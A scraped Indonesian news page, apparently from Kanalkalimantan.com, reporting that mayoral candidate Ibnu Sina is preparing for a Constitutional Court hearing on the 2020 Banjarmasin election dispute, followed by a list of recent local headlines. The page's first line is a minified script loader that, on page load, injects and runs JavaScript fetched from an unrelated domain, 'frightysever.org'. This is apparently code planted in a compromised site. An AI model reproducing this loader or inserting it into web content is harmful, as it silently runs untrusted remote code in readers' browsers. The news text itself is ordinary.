(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ibnu Sina Lakukan Persiapan Hadapi Gugatan Tim Hukum AnandaMu di MK


KANALKALIMANTAN.COM, BANJARMASIN – Menyikapi putusan Mahkamah Konstitusi (MK) yang memutus melanjutkan proses persidangan sengketa Pilkada Banjarmasin 2020 ke tahap pembuktian, pasangan Calon (Paslon) Nomor Urut 2, Ibnu Sina dan Arifin Noor bersama Tim Kuasa Hukumnya sudah siap tarung. Rencananya sidang tahap pembuktian di MK yang dijadwalkan pada 1 Maret 2021 nanti.

“Kita sedang melakukan persiapan menghadapi sidang sengketa lanjutan di MK,” kata Ibnu Sina seusai acara perpisahan dengan Aparatur Sipil Negara ( ASN ) di Pemko Banjarmasin, Rabu (17/2/2021) malam.

Ia mengatakan, menghadapi sidang di MK sudah berkomunikasi bersama tim kuasa hukumnya. Dan juga melakukan persiapan alat-alat bukti untuk membantah dalam persidangan nantinya

“Selalu menginformasikan, update ke mereka dalam persiapan-persiapan, beserta alat-alat bukti untuk membantah dalam sidang nanti,” bebernya.

 

Dalam pelaksanaan sidang di MK nanti, Ibnu Sina sendiri menyampaikan bahwa tidak bisa berhadir secara langsung di MK, tetapi akan mengikuti persidangan secara Virtual.

“Mematuhi Protokol Covid-19 untuk berhadir secara langsung di MK mungkin tidak bisa, tetapi tetap kita ikuti waktu yang sudah terjadwal persidangan secara virtual,” terangnya.

Dan Ibnu Sina sendiri juga meyakini apa yang dilakukannya selama tahapan Pilkada 2020 lalu sudah menaati peraturan yang berlaku di PKPU.

“Kita yakin apa yang di lakukan selama ini, dan masyarakat yang melihat sudah menentukan pilihannya, kita hormati proses hukumnya. Insya Allah sesuai dengan harapan,” tutupnya.

Diketahui agenda yang dijadwalkan pada 1 Maret 2021 pukul 13.30 WIB di MK nanti yakni mendengar keterangan saksi/ahli dan juga mengesahkan alat bukti tambahan.
Dan juga agenda penting untuk sidang yang memasuki tahap pembuktian tersebut, Tim Hukum Paslon nomor urut 4 Wali Kota dan Wakil Wali Kota Banjarmasin Ananda-Mushaffa Zakir, akan menambahkan beberapa bukti baru.(Kanalkalimantan.com/putra)

Reporter: putra
Editor: cell


Al Ghifari

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

9 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

9 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

9 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

10 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

10 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

10 jam ago

This website uses cookies.